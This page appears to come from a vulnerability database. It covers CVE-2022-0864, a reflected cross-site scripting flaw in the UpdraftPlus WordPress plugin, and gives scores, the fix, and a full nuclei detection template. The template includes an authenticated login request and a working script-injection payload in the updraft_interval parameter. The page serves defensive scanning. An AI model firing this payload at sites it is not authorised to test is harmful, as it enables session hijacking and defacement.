CVE-2022-0864· updraftplus / updraftplus· CWE-79
UpdraftPlus < 1.22.9 - Cross-Site Scripting
mediumseverity
6.1CVSS score
7.4%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
Fix
Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm('document_domain')</script>
Positive when: contains in body_2 "<script>confirm('document_domain')</script>" and "Existing backups" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-0864 -u <target>
The full check
id: CVE-2022-0864
info:
name: UpdraftPlus < 1.22.9 - Cross-Site Scripting
author: DhiyaneshDk
severity: medium
description: |
The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864
- https://wordpress.org/plugins/updraftplus
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0864
cwe-id: CWE-79
epss-score: 0.07415
epss-percentile: 0.9449
cpe: cpe:2.3:a:updraftplus:updraftplus:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: updraftplus
product: updraftplus
framework: wordpress
tags: wpscan,cve,cve2022,xss,authenticated,updraftplus,wp-plugin,wp,wordpress,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm('document_domain')</script> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "<script>confirm('document_domain')</script>"
- "Existing backups"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864
- https://wordpress.org/plugins/updraftplus
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from